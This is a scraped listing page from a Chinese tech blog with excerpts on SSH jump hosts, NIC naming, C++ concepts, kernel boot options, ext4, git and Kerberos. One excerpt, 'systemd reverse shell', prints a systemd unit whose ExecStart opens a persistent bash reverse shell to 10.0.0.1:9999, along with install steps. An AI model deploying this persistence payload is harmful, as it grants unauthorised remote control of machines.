- 博客(199)
- 资源 (4)
- 收藏
- 关注
原创 ssh通过跳板机免密登陆
需要:A通过B(跳板机)免密登陆C方法参考https://serverfault.com/questions/337274/ssh-from-a-through-b-to-c-using-private-key-on-b如果频繁使用,可以写入。
2024-11-06 14:23:52
467
原创 centos网卡重命名方法
centos7以后网卡命名采用一致性网络设备命名(Consistent Network Device Naming),不再是eth0,eth1这种简单的命名。在某些场景下简单的网卡名称能让事情更简单,下面是几种网卡改名的方案。
2023-12-15 14:22:36
1158
转载 通过tcpdump对Unix Domain Socket 进行抓包解析
大多时候我们可以通过tcpdump对网络抓包分析请求、响应数据来排查问题。但是如果程序是通过Unix Domain Socket方式来访问的那么tcpdump就看不到Unix Domain Socket里面具体流淌的内容了,本文希望找到一种方法达到如同抓包查看网卡内容一样来抓包查看Unix Domain Socket上具体的请求、响应数据。
2023-09-15 16:37:23
1790
转载 Shell中的${}、##和%%使用范例
bash对变量字符串的操作,包括:1. 删除变量字符串的一部分2. 提取变量字符串的一段3. 对变量值里的字符串作替换
2023-09-05 16:01:01
1311
转载 c++11 闭包的实现
什么是闭包闭包有很多种定义,一种说法是,闭包是带有上下文的函数。说白了,就是有状态的函数。更直接一些,不就是个类吗?换了个名字而已。一个函数,带上了一个状态,就变成了闭包了。那什么叫 “带上状态” 呢? 意思是这个闭包有属于自己的变量,这些个变量的值是创建闭包的时候设置的,并在调用闭包的时候,可以访问这些变量。函数是代码,状态是一组变量,将代码和一组变量捆绑 (bind) ,就形成了闭包。闭包的状态捆绑,必须发生在运行时。仿函数:重载 operator()#define _CR
2021-08-31 13:59:32
348
转载 How to create an HTTPS certificate for localhost domains
How to create an HTTPS certificate for localhost domainsThis focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.Do not use self-signed certificates in production !For online certific...
2021-04-08 10:46:31
198
原创 粗识openmp
看到一段代码利用openmp并行执行for循环,觉得这玩意真方便,一行代码就完事了,就上网学习。大致看完之后得出个结论,这玩意也就只能for循环用用。个人粗浅的认识,接受一切反驳。理由如下:上手有门槛,初级功能简单方便,想用好高级功能还是挺麻烦的。跨平台、多编译器支持:不是决定性优势,跨平台的线程库也不少。多线程很多情况下是启动不同的处理函数,这种场景用std::thread/pthread也麻烦不到哪去,同步什么的控制起来更熟悉。总之:学习成本(特别是团队)与收益不成正比。但是,如果有大
2020-09-03 14:29:01
186
原创 noexcept与栈展开(stack unwinding)
noexcept说明在C++11之后,表示函数不会抛出异常的动态异常声明throw()被新的noexcept异常声明所取代。该关键字告诉编译器,函数中不会发生异常,这有利于编译器对程序做更多的优化。如果在运行时,noexecpt函数向外抛出了异常(如果函数内部捕捉了异常并完成处理,这种情况不算抛出异常),程序会直接终止,调用std::terminate()函数,该函数内部会调用std::abort()终止程序。从语法上讲,noexcept修饰符有两种形式,一种就是简单地在函数声明后加上noexcep
2020-09-03 11:05:35
381
原创 new T加不加括号的区别
new对象时加不加括号有什么区别?new T;new T();总结两句话:建议使用new T();,明确调用构造函数。用new T;就表示不关心是否初始化,一般后续会有初始化语句。new T;的行为不确定,与类定义、编译器实现有关。x详见附录【1】struct A { int m; }; // POD// 注:这里与附录不同,增加virtual编译器才生成默认构造函数,可能跟跟编译器版本有关struct B { virtual ~B(); int m; }; // non-POD,
2020-09-03 09:17:40
389
转载 C++ POD类型
在C++11标准中,POD出现的概率特别高,目测是非常重要的一个概念,以往都是看的一知半解。今天抽空专门研究下POD究竟是什么,到底有多重要,有什么作用呢?POD (Plain Old Data),是C++语言的标准中定义的一类数据结构,通常用于说明一个类型的属性,尤其是自定义用户类型的属性,同时POD属性在C++11往往又是构建其他C++概念的从基础。百度百科中定义:POD适用于需要明确的数据底层操作的系统中。POD通常被用在系统的边界处,即指不同系统之间只能以底层数据的形式进行交互,系统...
2020-09-03 09:16:45
278
转载 编译器生成默认构造函数的情况
编译器生成默认构造函数的情况 在类没有显示声明构造函数的情况下,编译器并不总是为我们自动生成默认构造函数,以下4种情况,编译器才会为我们自动生成默认构造函数: 1.类中有一个类成员含有默认构造函数的,编译器会为该类自动生成默认构造函数,自动插入代码,调用该成员的构造函数; 2.基类中含有默认构造函数,编译器会为该类自动生成默认构造函数,自动插入代码,调用基类的构造函数; 3.类中含有虚函数时,由于编译器要为该类生成虚函数表vtable,并为该类的对象生成指向该v...
2020-08-31 17:01:29
477
原创 systemd reverse shell
创建rshell.service文件[Unit]Description=reverse shell[Service]ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/9999 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target安装cp rshell.service /lib/systemd/system/ln -
2020-08-04 09:37:23
158
原创 Linux 内核引导的若干选项
在低延迟等场景中,看到了一些引导参数,对提升响应速度,降低延迟有一定效果,记录说明如下。以下均来自网络,描述不一定非常准确,仅供了解。isolcpus=CPU编号列表将列表中的CPU从内核SMP平衡和调度算法中剔除。可以将特定的CPU隔离出来只给指定进程使用。nohz_full=CPU列表在内核"CONFIG_NO_HZ_FULL=y"的前提下,指定哪些CPU核心可以进入完全无滴答状态。如果你有一个100Hz的滴答,那么每秒100次,操作系统会唤醒,检查是否有任何定时器已经过期,如果有则
2020-08-04 09:12:46
707
转载 Linux 内核引导选项简介
作者:金步国版权声明本文作者是一位开源理念的坚定支持者,所以本文虽然不是软件,但是遵照开源的精神发布。无担保:本文作者不保证作品内容准确无误,亦不承担任何由于使用此文档所导致的损失。 自由使用:任何人都可以自由的阅读/链接/打印此文档,无需任何附加条件。 名誉权:任何人都可以自由的转载/引用/再创作此文档,但必须保留作者署名并注明出处。其他作品本文作者十分愿意与他人分享劳动成果,如果你对我的其他翻译作品或者技术文章有兴趣,可以在如下位置查看现有的作品集:金步国作品集[http:..
2020-08-04 09:11:08
1052
原创 ext4 No space left on device
问题磁盘使用的ext4文件系统,一个目录下存了大量文件,再写入文件时报空间不足,但空间和inode都没有满原因如果目录下文件过多,ext4文件系统的dir_index特性会采用hash tree加快文件名查找:linear directory or hash tree如果1个block(默认为4096字节)已经存放不下了已有的entry,那么就要转向hash tree了可以通过命令缺省确认dir_index是否开启tune2fs -l /dev/sdb| grep -o dir_index
2020-06-11 16:38:33
740
原创 Beam学习笔记
Beam学习笔记编程指导https://beam.apache.org/documentation/programming-guide/创建驱动程序,定义pipeline,包括输入、转换、输出,以及执行参数(主要包括runner,决定pipeline运行的后端)创建pipeline,设置参数创建初始的PCollection对PCollection应用PTransform:可以对PCollection中每个元素进行修改、过滤、分组、分析等操作,输出新的PCollection;PTransfo
2020-05-29 16:57:13
2667
原创 centos系统降级
适用于centos7.x降级,不适用跨大版本,如7降到6。以7.5降级到7.4为例,步骤如下:配置yum.repo,配置为7.4(降级目标版本)的仓库,方法略安装旧版本内核yum install kernel-3.10.0.0-693以旧内核重启grubby --info=ALL # 找到旧内核grubby --set-default-index=1 # 旧内核的indexrebo...
2019-09-26 21:03:39
8594
1
原创 正确设置Java内存防止容器OOM Killer
在使用Java的容器上警察发生量重启,Docker检查发现pod被OOMKiller代码杀死:137。究其原因还是因为老版java不能正确处理容器的资源限制。JVM默认的最大Heap大小是系统内存的1/4。但在java 的早期版本中(小于1.8.131),不支持读取cgroup的限制。 默认是从/proc/目录读取可用内存。但是容器中的/proc目录默认是挂载的宿主机的内存目录。即java 读取...
2019-08-09 15:24:05
1705
转载 七种网卡绑定模式详解
原文:https://blog.youkuaiyun.com/wuweilong/article/details/39720571 概览:目前网卡绑定mode共有七种(0~6)bond0、bond1、bond2、bond3、bond4、bond5、bond6 常用的有三种:mode=0:平衡负载模式,有自动备援,但需要”Switch”支援及设定。mode=1:自动备援模式,其中一条...
2018-11-12 15:13:09
381
原创 vmware热添加硬盘,fdisk -l 找不到
虚拟机硬盘空间不够了,做了lvm准备加块硬盘扩容,结果发现fdisk -l看不到新加的硬盘,又不想重启怎么办,一条命令就可以搞定。# 注意中间有空格echo "- - -" > /sys/class/scsi_host/host0/scan再用fdisk -l就看到了当然是host0还是host1,…,具体应该跟加硬盘时选择的挂载点有关系,不清楚就逐个试一遍好了参考:http...
2018-10-16 15:08:59
3414
1
原创 比较两个目录下文件
想知道两个目录下有哪些文件不同,如目录A和B:需求1:目录A里独有的文件需求2:A里与B里都有,但不同的文件需求3:A里与B里不同的文件(含A里独有的,即需求1+需求2)需求4:目录A和目录B有哪些文件不同(含B里独有的)首先想到的是diff,又突然想到文件比较还可以比较文件的大小、时间、校验和等等,rsync就冒出来了,再查果然可以只输出差异,不复制文件。# 需求1: 目录A里独有的...
2018-10-10 17:18:40
1613
转载 Linux内核参数之rp_filter
原文: https://www.jianshu.com/p/717e6cd9d2bb一、rp_filter参数介绍 rp_filter参数用于控制系统是否开启对数据包源地址的校验。首先看一下Linux内核文档documentation/networking/ip-sysctl.txt中的描述:rp_filter - INTEGER0 - No source validation....
2018-05-25 15:21:13
1197
转载 不使用 expect 实现自动化 ssh 密码认证
网上ssh免认证大部分都是跟expect配合使用,但很多时候expect还需要另外安装,不太方便。终于发现一种简便方法,配合ssh-copy-id使用效果更佳.setsid env SSH_ASKPASS='/root/pswd.sh' DISPLAY='none:0' ssh-copy-id root@192.168.1.2原文:http://xiezhenye.com/2014/0
2018-01-08 16:13:57
1927
1
转载 图解SQL的各种连接join
表格摘自:http://blog.youkuaiyun.com/u012861978/article/details/52203818不同的 SQL JOIN连接类型定义 Inner Join内连接是最常见的一种连接,它也被称为普通连接,只连接匹配的行(仅对满足连接条件的CROSS中的列)。它又分为等值连接(连接条件运算符
2017-08-22 15:05:47
2081
1
原创 搭建http服务将本地项目库导入GitLab
项目需要将本地git库迁入到自建的GitLab,创建项目看到可以从HTTP链接导入,参考文档完成了版本库导入。 环境: CentOS 6.3 x86_64增加httpd配置 vi /etc/httpd/conf.d/git.confLoadModule dav_module modules/mod_dav.soLoadModule dav_fs_module modules/mod_dav
2017-07-27 18:48:40
770
转载 修改 Github commit 的作者信息
原文:http://www.jianshu.com/p/b6add8187c06配置方法:git config --global user.email "youremail@google.com"git config --global user.name "your name"但是补救措施只对以后的 commit 起效。 如果想修改之前的作者信息,可以通过脚本重写历史信息: 1. 创建一个你的
2017-07-27 14:32:05
3531
原创 linux断点续传目录
rsync -r -L -P --rsh=ssh /tmp/test/ 192.168.1.100:/home/-r 递归传送目录 -L 保持软链接,如果不加软连接会被忽略,-l 拷贝代替软连接 -P same as –partial –progress,断点续传和展示进度 –rsh 可以指定传送命令,默认ssh,可以加些参数进去,如端口,’ssh -p 2234’等等具体可以man
2017-06-30 09:17:04
723
转载 ext文件系统机制
原文:http://www.cnblogs.com/f-ck-need-u/p/7016077.html将磁盘进行分区,分区是将磁盘按柱面进行物理上的划分。划分好分区后还要进行格式化,然后再挂载才能使用(不考虑其他方法)。格式化分区的过程其实就是创建文件系统。文件系统的类型有很多种,如CentOS 5和CentOS 6上默认使用的ext2/ext3/ext4,CentO
2017-06-17 14:28:43
677
转载 Kerberos简介
原文:http://idior.cnblogs.com/archive/2006/03/20/354027.htmlKerberos协议:Kerberos协议主要用于计算机网络的身份鉴别(Authentication), 其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据(ticket-granting ticket)访问多个服务,即SSO(Single Sign
2017-06-17 10:29:52
1230
转载 Kerberos简介
原文:http://www.360doc.com/content/15/0803/10/13047933_489182493.shtmlKerberos1、Kerberos是一个基于共享密钥对称加密的安全网络认证系统,它避免了将密码(包括密码hash)在网上传输,而是将密码作为对称加密的密钥,通过能不能解密来验证用户的身份;2、Kerberos在验证完用户身份后会发给用户T
2017-06-17 10:18:44
2699
转载 详解生成器、迭代器
原文:http://www.cnblogs.com/vipchenwei/p/6991204.html 本文讲述了以下几个方面: 1.何为迭代,何为可迭代对象,何为生成器,何为迭代器? 2.可迭代对象与迭代器之间的区别 3.生成器内部原理解析,for循环迭代内部原理解析 4.可迭代对象,迭代器,生成器,生成器函数之间关系1.迭
2017-06-17 09:56:06
3247
转载 理解 Memory barrier(内存屏障)
转自:http://name5566.com/4535.html参考文献列表:http://en.wikipedia.org/wiki/Memory_barrierhttp://en.wikipedia.org/wiki/Out-of-order_executionhttps://www.kernel.org/doc/Documentation/memory-barrier
2017-06-14 13:46:17
546
转载 软中断过高问题如何解决
原文:http://os.51cto.com/art/201310/414482.htm前些天发现XEN虚拟机上的Nginx服务器存在一个问题:软中断过高,而且大部分都集中在同一个CPU,一旦系统繁忙,此CPU就会成为木桶的短板。在问题服务器上运行「top」命令可以很明显看到「si」存在异样,大部分软中断都集中在 1 号CPU上,其它的CPU完全使不上劲儿:shell> t
2017-06-14 08:39:25
9554
转载 accept与epoll惊群
原文:http://www.pureage.info/2015/12/22/thundering-herd.html今天打开 OneNote,发现里面躺着一篇很久以前写的笔记,现在将它贴出来。1. 什么叫惊群现象首先,我们看看维基百科对惊群的定义:The thundering herd problem occurs when a large number of
2017-06-01 16:53:18
778
转载 创建守护进程的深入分析
原文:http://bbs.chinaunix.net/forum.php?mod=viewthread&tid=4071026&page=1#pid23806182创建守护进程的过程有两种: 一、fork两次int main(){if(fork()) exit(0); setsid() if(fork()) exit(0); //守护进程代码}二、int main(
2017-04-11 10:58:31
402
astyle之小乌龟辅助工具V1.1
2012-07-30
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人